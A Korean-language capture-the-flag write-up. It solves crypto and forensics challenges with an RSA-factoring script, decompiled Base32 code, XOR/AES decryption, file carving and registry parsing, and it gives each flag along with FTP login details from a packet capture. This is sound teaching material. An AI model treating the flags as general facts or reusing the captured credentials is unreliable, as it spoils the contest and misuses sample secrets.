238438757084215404336758004374479980258757841121899145002586233923980553250985850256457853442925674761504850167897336600419015002311770891829075933090802708164507206451387379534978141279056593107201721729622480576915505443427740721954340220793257049685548555640694170671932070368954925724897156477244073044653976100681071245240594739519154367444426213255812999626467621683210933079141960842189345905463651435391573762127366473407811305871405493638777171873635858171037879441733601005705375678530132789511591315791847717940947095730943126183534851855706116291162141142454101322624106742011086317204610624160254281974733876507632040681951748344886702068285634484585419332132771121619708351306283864381143427906058837362435941940677688270342337741118493849519276759334354148171051138413184105582434114440999272645559711766020758523884099007277757653695615848749706430037875055994057713012683406401369138392974268591452098952323137141861791832634058642856582918275881581874608078447841190727669304249415973174239313032960622717188226953486839850390902519751218189469509544528104945266763829040786987796680562258455720701642395442446988005693269789747859155652924800381544613276031701776331429803824885765772408699382484954454059675990769417658821303804889446026142502609394304567740590546077524874503379093061396051945911572028761258281717886760174194061043395605986308573278482442532458187514013172944353734069834478673410431454102252842685593626502121152372144412561822584677503052440825882147495292353021668002431173264351444181044737468966407544018079831801027477530578138848909769657960311556749270394378438279869347388270701760840511112428590739988863223117884127933897977676821442643583869990443925709934727249169924977351515782892277882929903945762308724065866564777661800035230497414688917548486850635013643166720351954313368307054914494933186026137230451274195838796587789622948066389149954418899105992954387952946436858860809268330311007926976819476350252367477318631492643265609458864851729414686711713063346064720576188071394811236026667157650375644694778014811950038095118099709542217968017346101274210934943933480194939464285381491714396621591980770604341320877749196467849102710716312695405433089944712413052677758646368515563871915819713915204825029599492505087623879669395804449192504454510188328252702123556022213585055946609266535414489394598193183729084691360612451418373622021683371749434172291863187914052221334597359601394001216423647683431449125290799481214582809517631597593978285711769954867967423352632505561821241653131256892467137523107918495855342161146117073923220115280991143462972200084628461013046582209764620884912970226104324491756024982789201217236153396320512859837526217685020483880700262537766558259824879833007805461208295377107932660044506374785895824921600263244254096972236794007375285062362180189524619761855496904324931573812334010831524458807950951274373038547511901250063091241549389302692370433202226992980769572310398935183426792230358884025397477453147161678823503046845149884293767996092302683610582633681946168118825527964924900384522590604834307447887286628008620093639858892386971094900231546800208427955894305721623775458323037281179143054710633459954801509116867708200644696908685493375307712459604386314740036068326088501090576552901798550692092255401977517537696105971099977771180348286554147904586068857349490071308694396369334870440937353385876419906423034561995399739613585025769766892696758753017380794645235140101236514855322143491763133014236911943399282528324566713330789502518033225159574758652265377030161358199787015253568768018826470821971465198413725815929455217377649900532449468721285458389855826674782020261409358992639729814416292134549397600441679876472274271916851625856902436296201059303833005866090051702971464178251297698525509866970545795350701694173644541966787619162449769096287355012492004747434679093176012482084724204085457255688933876663730442804462882493402181384601618377082437827483735749233625656315907824151665027253722850051706109367401790526139851836465680753986836935613818728650086746288904286183064238530605962617194665870016291583203530674354312627997475895743990658080796190635564307477028397941004998255368107285284133540850487802769807492805414922379407267114266639886083742874857479426853930407774854538861207242286821184865114476331163282985693957684057986819801262183077424100746285660744835307982515044402180941194048013264965838473586110310634321617229474167807687067837739609906123888507077047562550363686776895431817849626099537654293377245196592254692531265758924150211616613380098503379924714384055989384965947793688189628783893703059216866179162136392321704121881366906661613897965332057466236458044916275408304416316162897559568532032234163602021506468206250098288662239141751642199431791497086794102827686273154410340669822722299369802481760491948852241427605255251055409259194502711298741548029983353471486661859851898663883241857781186627304515110490402223081348884605551574657455993819386352283791717739165559860045954736578562181454881353588954907307059342763857945995423449238691180106154150145584993385135461439282090467326270788303578893776108736264680167600685938624774066969626793577179944535910631554601605647790833286179554409073674357484589867500431622333333291942775912940842094075737335119812588911160689000852247499899647412368013685839279750062636908884283108620819752869357934960557241163590991351032622102885236299057116393146087680801249645974405654909081763990987293912466980878102104467418868337716029093115135573911264874443768002018995779515581046482727300441722664733018328859269727195221175401320346629533663225430278064983630389890722136231946225395186254400091388399157203269972825179426242867940010832426087152042824760553255465444783423241812599957228459730368035965394905554518293521937308909154150736011745082681656207366931870509953729476062382337294679477165666219779921170126477816121731580980457725542035931461128034955600574339757190372208666432248088795039279281189531984565048566156409032467948010249384171926942960298653807260707960624445034726018499354812069589439455197884129229740888545142729549540938013676598815108432515794808002243627960611142465821074156596994130857051260380063530234028699982484072851541524960657554049827736432671765098359597230208993511816659390751606564999229591718167727241945362026558593322820253705541689319306550941842456166561602558852515678358867603409396461512358728986061526248357403418924718348215362173105523825118137954033762612687864526392297728451844988633432079457134677702334331826150423365983503455834120772080144950146165530510864941449701382779468712242099643711333801556171157721293080438347950684866508276325341343084083751714326429833119078875319924912791032124665346087591266118651819705930472579626222388839148620971928366699046418572099053000780916558921602221454740174840610091796537995746185942167661913837957236010221861614001180569137841777590126081804230874928212478956512457744943172565607678150024383255960057968530375675854382606772249411454858263141740030566020488652996974572725470828703379707173659869101343603945264604163928312772527692447636185916082037966444250499409785238445682733091010309500908145889578599725692867350370285039417582445278031749086559733485117054044612396849537929917985899910250063100018696565446360358086160194471803427844306194944505307658649138873391373629584578704370071898067640623804565103947871403746665213019854169767576267710069717568215101974521089537192174975172932433824837015658746676353708272032078933615992624151289831111303080178730302932568437812183310763200085212913302018820955673726243793281015494782706030668139594897214561316287481405554225794031963533031269376625109082951385962143609559298366837266988621205664259323669608953114640287993255978748519868390122129494100656479561527806642785241530861093598980078399257985314373916658956719682236448959330295698718043396795213935706483088909863408745075092228156015298544076656358010238865120063342470823096813692422146769458308444883301985664899004297882396977262789656037651693706892174016522663638420822329136334012559635634282485637085497235768091780591299752543388267173430140930348466822765631786264017691991911924104963724538558812085101080604290314531269295214603089719516606323876823836156298982953136075651638268064298848351335831991017421156353835543414561186496915092870045082191417943714007122635470595826517926298303987179056156002602133385987723922629162050245941835797734797938636829824021837457957374333994103202528168556853140202881664525065415512049891849807661347844062442527486333758705107460612714592253041345353232751459791755223699980707070661181885048376017567797279317959601705174900588045404050789993899896398325057759610291037923395966050646508557305783380073292998900967409887820166544979007229959903031226111320422798472921570249986649051238270109473354002649187421213947171917815591986525182622514611452012286222369734120149993224732251294664057669416385427371638568122310217250380482556174977904577855339197421055516349472153215950578243224688063340976501749380281647257347967239271793366698986439443413785908511702801556740562653561270141888422203258265854747307275709156970290512081472351373369089169592347827712782467897521582346014949682920204533326247881876785319550357378448534106077469739871854831327999419868991782466802171138543686108410720961455909363853781126023596538042360060406947554486577976086772743860793593595959729515955821480914892431141375968190213179147553205170649336457824191170843194251115554255642794005230872534015862784924874596916134510208110235314061750709550505808037906216579024433599497687537204089014079918823593694036378411183219328436209272017599100618569813821525617068598702321626512834607567009999924859561665929456295440810443379021184721569180171834927427781350619048068715163758906762362547270821606491346714929658675743949916879160958392314708560215174538657012326352847000982371028711074554121619249151509073301665497014445646832993085704911220442227760375491505076115974514883447608001437988365636698819997790026138667674494687461120448374251668641831756059887654075181982184452010372803958051219311120107056016005058209456559987203928325256785728335372791072547939111051934782110442481891234607918347961725681822448088887256085348336468303125993083152414833726936540260480510248635332806699472143662688180661810496710506322946768757818891829104457724279128824178750821348769425374022448114891159367335491685325226839213549775527863838413806893138666084701240957744084073323013972315748099588688124476365918618630369716529738716811716880436315278198755311719663283352589679113409103110370079085033466954856706685143394617232266455967948788706096283990720104071216423298794551126630056343948681518924829121656721815885707309773175031220681363742269967537310176669082915714228028799390874715754679262649786359797338996594543433178359064160717829179068397909305071151295391501306395427694056149134341108528700235501373513228981782661179606710851657097167033497241590947062352846149397478924345355889554999059734366570577557907872385109868674076785848930448168413459327762452024340450443834530672502414041220771147682242483101489498928738870584650004524511038905897241565292028352792876549152808369265872393239927961277414184471704313505373681823918044456240897177663721720650421735671261958780776076300399318943705880639684360476610865450928844305346499071835601631079862257316665878699153573471394342080870903413804547502247075739667274359759226668767762010803724936573417579126568061002970579108691240295240537797548891596747327983662388008527084824018527174787626172576061073592721901708373732671765974354378203272600871693224430060272585597525826214367562364973340055405370110164734144364992764444267657796723766750154836089948864689506290472156988165315657652689649834562580187310268564721200840339319719290597468391975721314660068027139446495971811976456251790619271795537749351755448760987507562127520619262842911421521934443008812364504071475936770463065200618074316043139614546835209748156211948057464225050654534915518998747779447195963598508460885180070011689424373441811490541491719147466614631059594511341791365101700893625044101295072802830654568159854064537476993112606152873515823433204468419575415116408277026984893909040541162717964003066358404896634176052884020389918797154983057285017510287925313573274143359442503179477953263252548860092751694779129009532910352221147255718060168731558500976728529671766276385123050276036903238487625454254505179640865740836961735798346592208014924445068250015832301287627957887429832423646900165210819404764189602947116443106526079754281064353055009553302681357305833462939830453475804995266825064601573341863241660864068927847404540472560781114575977445391469798484545733842872860875367346574873462292489632887618815302514401176730987000326337920817356424874324939787518568012281302281964790312285419206996648641520067345955286737319423935022718442800108299237315931033901877324372842709019264443666054403536591971766223827989238280729268271825581739458203607255726500631941641712880400356349937732069061298274296377928730439478000933283028134751926433531898606401638869957059723406014396670703397917899222538916507054540246695410753486771016482796465870709523266921612224318469160571921930619740352377170032600191008146689084322992655738867249190479806082843642353003285311598164044484711716249558708775170729755014275170323644473598103813342566749759970300250483360151113395318031181780568617115920803645186977465259823079508512591291328566440392627909219385768063045205627367469233819419964153226133426679618222586081578613652214629167690989753509690204991539358777358545960714414850185458735841415717940899079592148325012925358631331404583008295950851823551793074987317446484411643610173432798030759258965047341272848977878371650946068353086176129524045347428336488089915959721377850962095341864518552751540306702792877085268689344333712200121110146697881079566247184322928318142298062118288112532433964786791995086819302894949723642397999111590496603871989404083171049357070184476655162434824354764650697030855880926059541041164555661738786035957658333093809771025002177372223690675588184762948813567656777825531355839942370620662110691907195406524594602489987840939577232724193099282921097678603634947476892382988109735901764063028488254139704112230024265247307738618671004416658498166806719897008539797736176507008232202535394492092314851921972225439513000137311623889233129726248822509681988480657933493728848976245351144123260049717232074228384037609109313953536654813370715984322643980064432738191959544011274576900186566552797242679599699989653580552797888315142527823461087930995165895495524490678693899174035017769265064034438768489197075425662932897160032053476169107118692599911215486043061576363345232185473420919350566538961387850407071898173464865706918295892252712641321265822951563159580465908744527114600315129695098172125343512850885930810997710414199494274374653714898029835866938539020924229818202804711531847161139791990323337127737644263146533792384646599735858806905594064023174725855148413704218666986258123806154990836394989048486581991960300980293116236229934480773797840164768804967016323504661447509502316834095367056573712444714583299847047560757961273093213977924288543607944469971865011737080972125777067921382481026992763432851839753864687990232623275110947398170846517848481300280794864522383340013514730726018981654025333344965660404312112600388343303088419228068591697988316419991318885715026925488697415340602196397392859412159823368299291769014126114943501444954422373920690614465008421397750026568287432973955953272853291539086750901271526712889025785669269158031641503573827618276539107929032226634646685182527630181804269245384844776783130889841784793582193773150312404708439774975749178775934391485737276821252178434162627697360463286844513992508958275642798412190129586354708905264983528137425539811671417113595937503349435256239133291778472583074706898050057965583437834047796994997529545725080655855246312192621863324326647530736885766416215098784464222683536645901609673211475134603348030743895187571800752841107370246595276374919443062609684825182056372790578800869922541639337824387133447103169448070106937677562802775763415726611810888004316575556001145625224755943193531350792332003891815797805130853025434300046262792440611779444785498541260974005304242300034966163012911760036644312709318105727695503071464799607917224144957648354572085558377259008828468031842178452845236015798814438775998096486964822519166175759275157886725501020684597245524392966065040268003632166202411348208213116453084251709177822774033450820805923091807162139073090561879841634021276268731715271668295090521690497337451287991164292891430245852491728648322905398731396202492746140434330685381308746323423166641868674882223292879463867449919850246845654547090821849596308616227753106224587485948424941790833549167501764942006922812265531606316973414454380396672349526296712695717859171394888092831712452541064557278360967766043015989240999511575815622604061769326838419120247675169391325508754716562601342572923791310397544259006160148391597624844841961864294826447548348967107229196666823163659050929072191528556418300448239775930706236306477519743046355050171253266777296473754964039939185762137438913074036457716737094292856618455809009304072480136836039531939415628661475838914883700600057012975382033163269852371944416795046809135269234687297434348260357409430290175357391412296695926614332453614601291791102103698408813716679968130783598031673403442702676830238984289642647616014837598080606913179708339051060425480843007867855732128329366430559436267464914913533912682510474237801208101184032348885598120297870768343558110412945991580615548288854772578684418408781362655693422806540295863666400770892930632371108704722360983334506204728768519916956927304525308615661581747402053556750350909354369608983953139738631350750723576467839149307247464940953489457117071318900649689220646192521047569156368287381026040734712074133103955701674716360078206024630148619300775274888677982147741889301619266529842069439933975625718216766192152924578693344036804086275465031250932077194163225583684182343716186877086889258204102045867411979560308749257282387346455905653669549567256034179775020478961254104962669687626069929601945048288185375572527206892844151388571404571474575175939293795292196404901467523310215127347856365951383108411063584172204889024529617684105904374032015039880155138210290945761634213304791751791424055465138876114574466340908447257582734775114551505338997356887666828856273829460477505753431565743392921992183817751624910069875546592229652396695423170105583152845738623263108281317658722461442516318953161011917184831064880146721686200166007121852020054698508272650595222260239256318353851380019001628852090528703944826885708646664867593641349444906963104489554500041718752090733009593469668725571336048672861830627860060322632107673389460016615801400881343993179111771540775574551396658372592798471066084475483045803043616648617677131636405011913736972837640571322806923554932378062744383947723897105799417771370772219325095405682284587586522817634770228174343664800929378731053621839803888923713428721759958782232902674698243308481564416730545833242019966707957093093298107399834415247835710157649787131356134056431407122225622990450283905525243616410818699699706416502025652462311874186537801835047450332708255154804284686090062317998844604044350977227864795571384343901741621302880179683163608938929126452406518345677185290342608381056138361061855419406558559136671706255145972073269597530356456496713254661154163891284347112180988554748045874299718426796076185075201063579210305555038485256646149836295733969135531863740624197740273238987582677458039870156148168328521226235707876729483080317735179877032536755354631474688489247682398571954263751181136292662738169559172516561287274610312765236171884307677766196522832807798751533380248259649422592201711056952236182927154741343891594753491345925937600060009340151747005706017289670957880528411844083081248213794155185337748552234649948856740272556593079605746063896457553603939277828215004567617606615543531315212294969125695501446524123406802247216611773573403054709443263739433086668208390997068360828004537655228597202272298052269335000343795138135932863880568959367103882318277083140357273836652564605308740689283999741154262046803246679966837207913171407975197406835131596458716523615277677990126520606753400826621540531421460774873576627930361063331551395364225005541858565151216318876019903092364221322540374385408199362684676810037900699027584958842602750744302366364161410680400695162471816272502174213027495992480368171597009586409739573222608965586665010411301591461178231952549876431674025869582868754143838898230497470444504334248971021476786192764816165938124075132106953481770811356431720023464826748255430853001191252333294154089390439197423397688038521179698204765247715530117471576809406690395628714263754895967971012343465087443481182069190404666534476783548472301270529939699240558216403382220686716969797471683482089077378633302140783432260124490298707577945895950379718748483442383919011017865121401133588824000513460195757241337189432266216593516951957186658047410000403117286033858789897781477284560656279505609125946282221059883870983448486724645352730235559081454568567096707807355121803700675004991275901669188808099545859304587142504530784757390061074297829529285006675504026462261093843628331379257171132347244347286751393027890379870747339849378771416601994960495852658664657357763285426839241667638731354617638381147529869445617745448931297236422393608084588929302775286622864722254491835812963580354008966035084484255446265995624507563626339014714193041361320661931041022766950050589549322710671607612627345661383743680904018360448915816838013236357044290455357949159472414849581659282488113299930169443273830723235437136326365671513085228172880055579176745165197641535018242761490046268677340786634844511987985836348548192943277112909140453397642518264842352516450143633247330125430966795704064349581264012189225027987739612283162321019744955148224624441876997385303209197945954633529685809235420927947060804929526479370980985628857497964565029680381030933587047139136890253825573013328023883341796348465549910820021216993888860827448750912645931068806578205589287797878148397823912642937971479563326336975862898918305179839280713929128494098617918503149934134778662341244312747804802535624195823712268380571516058439195457169479930496542534201846858254960130735734214116778860762994586128280463137865786255978268719024100614479923162800917395918598424187743544062103546517414942732090036894699977434687526233745967737958647411982972128759127880751053126942069165523589469588564966770090416471161637973612013535317571473448841667712474951718584563226378909223829556867398839783020754488796019675022340441661806072915123443446520147950566951165457052965209925661773639894139700996897640298215224272824545652690901067980614178858040144274258092135155906041722251035106771987102468724733361024401232114277818225518090298053269145551866490054473012132757724920975282674305586523014193564185415655716070624666686029845403574394968789295012618525151457044988546352071504334377372243486535851878192892090171127884583607096480154236271218829268503630006713031093510701482430597434519126781915178248896366747246711655641014533111252912513959970080473031288894460011307361596123113943649874797598508331279338814932493
17e = 65537
18
19# Factor N and compute d
20print("[+] Computing d...")
21UPF = list(factor(N))                           # Unique Prime factorization
22phi_fs = [pow(p, k-1) * (p-1) for p, k in UPF]  # phi for each factor
23factors = [pow(p, k) for p, k in UPF]           # The raw factors of N
24d = inverse_mod(e, reduce(mul, phi_fs, 1))      # Private exponent
25
26# Use CRT to compute d rather than the fast-power algorithm
27print("[+] Doing CRT to compute M...")
28M = CRT_list(
29    [int(pow(C, d % p_i, f_i)) for p_i, f_i in zip(phi_fs, factors)],
30    [N / f_i for f_i in factors]
31)
32
33# Flag
34print(bytes.fromhex(hex(M).replace('0x','')))

그러면 Key Hacker_d0!_Maliya_saram_e_yah_uh~ 를 구할 수 있다.
새로운 주소로 리다이렉트가 되는데 소스보기 하면 플래그가 있다.

flag : INCO{INC0_TH3CO_GAEKO_ZICO~}

Crypto

encoder

Custom Base32

 1__int64 __fastcall sub_11C8()
 2{
 3  __int64 v0; // rbp
 4  int v2; // [rsp-448h] [rbp-450h]
 5  int v3; // [rsp-444h] [rbp-44Ch]
 6  int i; // [rsp-440h] [rbp-448h]
 7  int j; // [rsp-43Ch] [rbp-444h]
 8  int k; // [rsp-438h] [rbp-440h]
 9  int l; // [rsp-434h] [rbp-43Ch]
10  int v8; // [rsp-430h] [rbp-438h]
11  unsigned __int64 v9; // [rsp-428h] [rbp-430h]
12  _BYTE *v10; // [rsp-420h] [rbp-428h]
13  _QWORD v11[2]; // [rsp-418h] [rbp-420h] BYREF
14  _BYTE v12[1008]; // [rsp-408h] [rbp-410h] BYREF
15  unsigned __int64 v13; // [rsp-10h] [rbp-18h]
16  __int64 v14; // [rsp-8h] [rbp-10h]
17
18  v14 = v0;
19  v13 = __readfsqword(0x28u);
20  v11[0] = 0LL;
21  v11[1] = 0LL;
22  memset(v12, 0, sizeof(v12));
23  v2 = 0;
24  v3 = 0;
25  fgets((char *)v11, 400, stdin);
26  *((_BYTE *)v11 + strlen((const char *)v11) - 1) = 0;
27  v8 = strlen((const char *)v11);
28  v10 = malloc(8 * ((5 - v8 % 5) % 5 + v8) / 5 + 1);
29  while ( v2 < v8 )
30  {
31    v9 = ((((((((__int64)*((char *)v11 + v2) << 8) | *((char *)v11 + v2 + 1)) << 8) | *((char *)v11 + v2 + 2)) << 8) | *((char *)v11 + v2 + 3)) << 8) | *((char *)v11 + v2 + 4);
32    v10[v3] = byte_4020[(v9 >> 35) & 0x1F];
33    v10[v3 + 1] = byte_4020[(v9 >> 30) & 0x1F];
34    v10[v3 + 2] = byte_4020[(v9 >> 25) & 0x1F];
35    v10[v3 + 3] = byte_4020[(v9 >> 20) & 0x1F];
36    v10[v3 + 4] = byte_4020[(v9 >> 15) & 0x1F];
37    v10[v3 + 5] = byte_4020[(v9 >> 10) & 0x1F];
38    v10[v3 + 6] = byte_4020[(v9 >> 5) & 0x1F];
39    v10[v3 + 7] = byte_4020[v9 & 0x1F];
40    v2 += 5;
41    v3 += 8;
42  }
43  if ( v8 % 5 == 1 || v8 == 1 )
44  {
45    for ( i = 1; i <= 6; ++i )
46      v10[v3 - i] = 61;
47  }
48  else if ( v8 % 5 == 2 || v8 == 2 )
49  {
50    for ( j = 1; j <= 4; ++j )
51      v10[v3 - j] = 61;
52  }
53  else if ( v8 % 5 == 3 || v8 == 3 )
54  {
55    for ( k = 1; k <= 3; ++k )
56      v10[v3 - k] = 61;
57  }
58  else if ( v8 % 5 == 4 || v8 == 4 )
59  {
60    v10[v3 - 1] = 61;
61  }
62  for ( l = 0; l < v3; ++l )
63    putchar((char)v10[l]);
64  putchar(10);
65  return 0LL;
66}

flag : INCO{j1gye0un_tt01seu_yuks1ps4!}

xor&aes

 1import os
 2import binascii
 3from Crypto.Cipher import AES
 4
 5class XOR:
 6    def __init__(self,key):
 7        self.key = os.urandom(5) #find key value
 8    def encrypt(self, data: bytes) -> bytes:
 9        enc = b''
10        for i in range(len(data)):
11            enc += bytes([data[i] ^ self.key[i % 5]])
12        return enc
13    def decrypt(self, data: bytes) -> bytes:
14        enc = b''
15        for i in range(len(data)):
16            enc += bytes([data[i] ^ self.key[i % 5]])
17        return enc
18
19class AES256:
20    def __init__(self):
21        iv = b'\x00'*16
22        self.key = b'12345678901234567890123456789012'
23        self.crypto = AES.new(self.key, AES.MODE_CBC, iv)
24    def encrypt(self, msg):
25        msg = msg + b'\x00'*(32-len(msg))
26        cipher = self.crypto.encrypt(msg)
27        return cipher
28    def decrypt(self, enc): 
29        #complete this method
30        #final flag length is 23-byte
31        cipher = self.crypto.decrypt(enc)
32        return cipher
33
34def main():
35    flag = open('flag.bin', 'rb').read().strip()
36    print(">>>>>encrypt flag: ", flag)
37
38    aesd = AES256()
39    decrypt_flag = aesd.decrypt(flag)
40    print("only aes decrypt: ", binascii.b2a_hex(decrypt_flag))
41    res = decrypt_flag
42    key = [19,43,55,197,248] # XOR with INCO{
43    print(''.join(chr(key[i%len(key)]^res[i]) for i in range(len(res))))
44    
45if __name__ == '__main__':
46    main()

flag : INCO{d3crypt_succe5s!!}

One Fake, One bin, 960 x 640

왜 크립토인지는 모르겠다. pcapng파일에서 tcp stream에서 이것저것 추출하면 Fake 이미지, 2nd_JPG.bin, 깨진 PNG를 가져올 수 있다.
잘 추출하다보면 플래그 이미지 2개를 구할 수 있고 마지막 깨진 이미지를 확인해보면 CRC Error가 발생한다. 어디가 수정됐다고 인지하고 보니 파일의 이미지 width가 잘못되어 있어서 960으로 수정했더니 3번째 플래그 조각을 흭득할 수 있었다.

flag : INCO{th1s_question_nam3_1s_st3g@n0gr@phy}

Forensic

TwinCle

File Extract

$ binwalk TwinCle.jpg -e
$ cd _TwinCle.jpg.extracted && strings Hidden_Cloud.jpg | grep INCO

flag : INCO{HeLLOweaReTwinCle}

question

$ file question.jpg
question.jpg: Microsoft Word 2007+
$ binwalk question.jpg -e
$ cd _question.jpg.extracted/word/media
$ strings -n 10 image1.jpg
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
es{,=l]g{G
YouDidGreat?
LookatThis==>MjAyMV9pbmNvZ25pdG9fc3dsdWc=

1>>> import base64
2>>> base64.b64decode('MjAyMV9pbmNvZ25pdG9fc3dsdWc=')
3b'2021_incognito_swlug'

flag : INCO{2021_incognito_swlug}

inco_hack.png

$ file inco_hack.png
inco_hack.png: PNG image data, 960 x 720, 8-bit/color RGBA, non-interlaced
$ binwalk -e inco_hack.png
$ cd _inco_hack.png.extracted
$ cat hidden.txt
SU5DT3t5MHVfYXIzX0QxRkYzUiNOVH0=

1>>> import base64
2>>> base64.b64decode('SU5DT3t5MHVfYXIzX0QxRkYzUiNOVH0=')
3b'INCO{y0u_ar3_D1FF3R#NT}'

flag : INCO{y0u_ar3_D1FF3R#NT}

SWUCTFINCO

FTP 통신

220 (vsFTPd 3.0.3)
OPTS UTF8 ON
200 Always in UTF8 mode.
USER toto
331 Please specify the password.
PASS toto1234
230 Login successful.
CWD /home/ctf2021/ctf
250 Directory successfully changed.
XPWD
257 "/home/ctf2021/ctf" is the current directory
PORT 192,168,0,208,210,201
200 PORT command successful. Consider using PASV.
STOR alldieflag
150 Ok to send data.
226 Transfer complete.

Wireshark 필터링을 ftp-data 로 해서 PNG raw 값을 저장해주면 강아지 사진에 Flag가 적혀있다.

flag : Inco{therearenobaddogsintheworld}

HS

http://forensic-proof.com/archives/3632 를 참고해서 Serial Number 형태를 보고 strings를 통해 구했다.

_USBSTOR#Disk&Ven_Samsung&Prod_Flash_Drive&Rev_1100#0374120030028536&0#{53f56307-
b6bf-11d0-94f2-00a0c91efb8b}

flag : INCO{0374120030028536}

코로나바이러스 대응 긴급조회

SSView를 통해 BinData를 확인해보면 BIN0005.ps에 hex encode된 값을 풀어주면 아래와 같이 대충 나타나는데 조금 오류 있는 부분들을 수정해서 풀었다.

 1def enc_xor(msg, key):
 2    msg_size = len(msg)
 3    key_size = len(key)
 4    enc = bytearray()
 5    for i in range(msg_size):
 6        msg_xor = msg[i] ^ key[i%msg_size]
 7        enc.appienc = bytearray()
 8    for i in range(msg_size):
 9        msg_xor = msg[i] ^ key[i%msg_size]
10        enc.append(msg_xor)
11        return enc
12
13def main():
14    msg()
15    key = "25689"
16    enc_msg = enc_xor(msg.encode(), key.encode())
17
18# ./shellcode(5B5B5557425C7830314F69555C725E425C7830324A5C6E4F)
19
20a = bytearray.fromhex('5B5B5557425C7830314F69555C725E425C7830324A5C6E4F').decode()
21print(a)
22a='[[UWB\x01OiU\r^B\x02J\nO'
23key = "25689"
24print(''.join(chr(ord(key[i%len(key)])^ord(a[i])) for i in range(len(a))))

flag : inco{3z_m4lw4r3}

data_collector

전에 윈도우 Amcache 관련해서 공부한적이 있어서 금방 풀었던거 같다.
Appcompat\Programs\Amcache.hve 가 존재한다.
https://github.com/EricZimmerman/AppCompatCacheParser
위에 암캐시 파서를 사용해서 파싱하고 마지막에 Accesss한 파일을 확인하면 된다.

flag : INCO{JP.exe_668c40bb6c792b3502b4eefd0916febc8dbd5182}